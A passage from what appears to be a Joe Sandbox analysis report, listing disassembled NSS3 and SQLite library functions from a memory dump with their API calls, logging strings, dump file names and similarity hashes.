PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CA8B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA8B03C

Strings

Unloaded library %s, xrefs: 6CA8B023
%s decr => %d, xrefs: 6CA8AFF0

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: ec05797ef19b0e4e9455baf0f0e2899d61ee9bf81677328284f301e1de62e34a
Instruction ID: 097393cdecb95c28ea6f9fac8677bac7cfe9c99ad437df74d2c367be3e81ac32
Opcode Fuzzy Hash: ec05797ef19b0e4e9455baf0f0e2899d61ee9bf81677328284f301e1de62e34a
Instruction Fuzzy Hash: 973109F5B05150ABD701AF64EC40A59B776EB05718B1C4225E81A87F80F732EC65C7E2

Function 6CAD6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAD781D,00000000,6CACBE2C,?,6CAD6B1D,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?), ref: 6CAD6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAD6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAD6C96

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAD6CAA

Strings

rdb:, xrefs: 6CAD6C69
dbm:, xrefs: 6CAD6C3A
NSS_DEFAULT_DB_TYPE, xrefs: 6CAD6C91
dbm, xrefs: 6CAD6CA4
extern:, xrefs: 6CAD6C7E
sql:, xrefs: 6CAD6C52

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 182ed8def55a9cb0e6ed6840d2e1a4ac39cecf5ae8d6d546e74588d0050224fe
Instruction ID: 883bebc16850bd4de2daa64446714f62d4724dd697420ecdca7255ada1a2f7c1
Opcode Fuzzy Hash: 182ed8def55a9cb0e6ed6840d2e1a4ac39cecf5ae8d6d546e74588d0050224fe
Instruction Fuzzy Hash: D401F2A170238123E660277E6C4EF66360C9F416A8F1A0831FE18E1A81FBA2F51840A5

Function 6CAE4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CAA78F8), ref: 6CAE4E6D

Part of subcall function 6CA809E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CA806A2,00000000,?), ref: 6CA809F8
Part of subcall function 6CA809E0: malloc.MOZGLUE(0000001F), ref: 6CA80A18
Part of subcall function 6CA809E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CA80A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CAA78F8), ref: 6CAE4ED9

Part of subcall function 6CAD5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CAD7703,?,00000000,00000000), ref: 6CAD5942
Part of subcall function 6CAD5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAD7703), ref: 6CAD5954
Part of subcall function 6CAD5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD596A
Part of subcall function 6CAD5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD5984
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CAD5999
Part of subcall function 6CAD5920: free.MOZGLUE(00000000), ref: 6CAD59BA
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CAD59D3
Part of subcall function 6CAD5920: free.MOZGLUE(00000000), ref: 6CAD59F5
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CAD5A0A
Part of subcall function 6CAD5920: free.MOZGLUE(00000000), ref: 6CAD5A2E
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CAD5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4EB3

Part of subcall function 6CAE4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAE4EB8,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE484C
Part of subcall function 6CAE4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAE4EB8,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE486D
Part of subcall function 6CAE4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CAE4EB8,?), ref: 6CAE4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4EC0

Part of subcall function 6CAE4470: TlsGetValue.KERNEL32(00000000,?,6CAA7296,00000000), ref: 6CAE4487
Part of subcall function 6CAE4470: EnterCriticalSection.KERNEL32(?,?,?,6CAA7296,00000000), ref: 6CAE44A0
Part of subcall function 6CAE4470: PR_Unlock.NSS3(?,?,?,?,6CAA7296,00000000), ref: 6CAE44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CBBDCB0,00000000), ref: 6CAE4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CAE501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE506B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: f24c980263f6bd8c51b21293973cf05aff24a2869cfa211d8352cd73b9eaad6d
Instruction ID: 6d2f741813be97182f96ecec22791d143326fd0f68a5f5d572531d4c87cbc33b
Opcode Fuzzy Hash: f24c980263f6bd8c51b21293973cf05aff24a2869cfa211d8352cd73b9eaad6d
Instruction Fuzzy Hash: 2851F3B59002019FEB01AF64ED0569A76B4FF0935CF080635E81A87B11FB31E5A8DAD2

Function 6CA8ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8ACE2
malloc.MOZGLUE(00000001), ref: 6CA8ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA8AD02
TlsGetValue.KERNEL32 ref: 6CA8AD3C
calloc.MOZGLUE(00000001,?), ref: 6CA8AD8C
PR_Unlock.NSS3 ref: 6CA8ADC0
free.MOZGLUE(00000000), ref: 6CA8AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA8AE58
free.MOZGLUE(00000000), ref: 6CA8AE69
free.MOZGLUE(?), ref: 6CA8AE78
PR_Unlock.NSS3 ref: 6CA8AE8C
free.MOZGLUE(?), ref: 6CA8AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA8AEC7

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: fcf9a5d89d584cb98342b6e85c6d2f03106361addd22f4a3ce82ed12ad350469
Instruction ID: 94f9de1f523af147d08bb520c541425d624cf0943dd6f8e3f9aba5c5990afb61
Opcode Fuzzy Hash: fcf9a5d89d584cb98342b6e85c6d2f03106361addd22f4a3ce82ed12ad350469
Instruction Fuzzy Hash: 4551A3B1E021259BDF00DFA4E84176E7775FB0A749F180525D815A7B40D331AD95CBE1

Function 6CACADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CACADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAE29

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CACAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CACAEA0

Strings

hSession = 0x%x, xrefs: 6CACAE01, 6CACAE11
hKey = 0x%x, xrefs: 6CACAE62, 6CACAE72
(CK_INVALID_HANDLE), xrefs: 6CACAE1F, 6CACAE80
C_MessageSignInit, xrefs: 6CACADE1

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: aecea103a164572ef2a51ab866a42eafc0141df9257842f5b684d3534ff9839b
Instruction ID: 7526d86fe51a480ec6efec096ddaf008cae3d6683a9273c1e8f2e50c8a3c7a83
Opcode Fuzzy Hash: aecea103a164572ef2a51ab866a42eafc0141df9257842f5b684d3534ff9839b
Instruction Fuzzy Hash: 46312536701194ABCB008F64ED88FBE3776AB46318F484428E9196B711DB309D89CBD7

Function 6CAC9EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CAC9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC9F49

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAC9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CAC9FC0

Strings

hSession = 0x%x, xrefs: 6CAC9F21, 6CAC9F31
hKey = 0x%x, xrefs: 6CAC9F82, 6CAC9F92
C_MessageEncryptInit, xrefs: 6CAC9F01
(CK_INVALID_HANDLE), xrefs: 6CAC9F3F, 6CAC9FA0

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 44d6e37a77ad563a65f4312124579d7c089378a3d4826f1c2e67ba0ed26e478d
Instruction ID: 18f2f8b14f1583831ce10f6f33ad680f9fd3479118687901367ef7721fb5eb7f
Opcode Fuzzy Hash: 44d6e37a77ad563a65f4312124579d7c089378a3d4826f1c2e67ba0ed26e478d
Instruction Fuzzy Hash: E8310575701284ABDB009F64EE88BFE3775AB4631CF084028E9196BB51DB309D88CB97

Function 6CB64C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CB64CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB64CFD
sqlite3_value_text16.NSS3(?), ref: 6CB64D44

Strings

API call with %s database connection pointer, xrefs: 6CB64CF6
abort due to ROLLBACK, xrefs: 6CB64D27, 6CB64D33
bad parameter or other API misuse, xrefs: 6CB64D05
unknown error, xrefs: 6CB64D56
no more rows available, xrefs: 6CB64D2E
another row available, xrefs: 6CB64D20
out of memory, xrefs: 6CB64C78, 6CB64C9E
invalid, xrefs: 6CB64CF1

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 9a13b0a968e5f05bc7f4a2cc343a848a1bee8271ddaa1f9221d6971275790c99
Instruction ID: 262865c5d3969451e6c5b475f322cef000a09b94135e31a5fd578526eb8cea7f
Opcode Fuzzy Hash: 9a13b0a968e5f05bc7f4a2cc343a848a1bee8271ddaa1f9221d6971275790c99
Instruction Fuzzy Hash: EB313772E08CE1ABD708C62AE8317A97365FB8231CF150125D4245BF59CB21AC568FD3

Function 6CAC2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CAC2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC2E33

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAC2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAC2E81

Strings

hSession = 0x%x, xrefs: 6CAC2E0E, 6CAC2E1E
ulPinLen = %d, xrefs: 6CAC2E7C
C_InitPIN, xrefs: 6CAC2DF1
(CK_INVALID_HANDLE), xrefs: 6CAC2E2C
pPin = 0x%p, xrefs: 6CAC2E63

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 37cbfbb43afce62457763c5ffcddc21d63eb3744fa83d81847381ca2b14e8d60
Instruction ID: 199ec7d384fdabfe46323c24472c7709707cc3c688a3db2ce5246567271c1da4
Opcode Fuzzy Hash: 37cbfbb43afce62457763c5ffcddc21d63eb3744fa83d81847381ca2b14e8d60
Instruction Fuzzy Hash: 8031D575701194ABDB00DF58ED8CB9E3BB5EB42318F084124E819B7711DB309D89CBA7

Function 6CAC6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CAC6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC6F53

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAC6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAC6FA1

Strings

ulPartLen = %d, xrefs: 6CAC6F9C
hSession = 0x%x, xrefs: 6CAC6F2E, 6CAC6F3E
pPart = 0x%p, xrefs: 6CAC6F83
(CK_INVALID_HANDLE), xrefs: 6CAC6F4C
C_DigestUpdate, xrefs: 6CAC6F11

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: df82139d73723b19c165c95cec2b1ff0f524afe92ae346a36089658614d17d73
Instruction ID: 678f29969aa656b84f2a387c42a5fc9ecdeeb926309c413d592ed200aa7277a3
Opcode Fuzzy Hash: df82139d73723b19c165c95cec2b1ff0f524afe92ae346a36089658614d17d73
Instruction Fuzzy Hash: FC31D339701194AFDB00DB68ED88BAA77B5EB42319F084024E819A7712DB30DD8DCBD7

Function 6CAC7E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CAC7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC7E63

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAC7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAC7EB1

Strings

ulPartLen = %d, xrefs: 6CAC7EAC
hSession = 0x%x, xrefs: 6CAC7E3E, 6CAC7E4E
pPart = 0x%p, xrefs: 6CAC7E93
C_VerifyUpdate, xrefs: 6CAC7E21
(CK_INVALID_HANDLE), xrefs: 6CAC7E5C

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: f46d68c5e2349cd21235bea7ca63022e38dcdccca0489cacbaad6cf19937bb5a
Instruction ID: 53dfb5074424d0aba7ab8ab4fc67c6a2d4e8e6de80fe657849c828e3c390d60b
Opcode Fuzzy Hash: f46d68c5e2349cd21235bea7ca63022e38dcdccca0489cacbaad6cf19937bb5a
Instruction Fuzzy Hash: 6031C975B01194ABDB009B68FD88F9E7BB5EF42319F484024E819A7711DB309D89CBA7

Function 6CAC7F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CAC7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC7F93

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CAC7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CAC7FE1

Strings

ulSignatureLen = %d, xrefs: 6CAC7FDC
hSession = 0x%x, xrefs: 6CAC7F6E, 6CAC7F7E
pSignature = 0x%p, xrefs: 6CAC7FC3
(CK_INVALID_HANDLE), xrefs: 6CAC7F8C
C_VerifyFinal, xrefs: 6CAC7F51

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 80b3a770b864b90c4e21bd58e21ddb0ea1479982eef0131fa681091ab2ffcc06
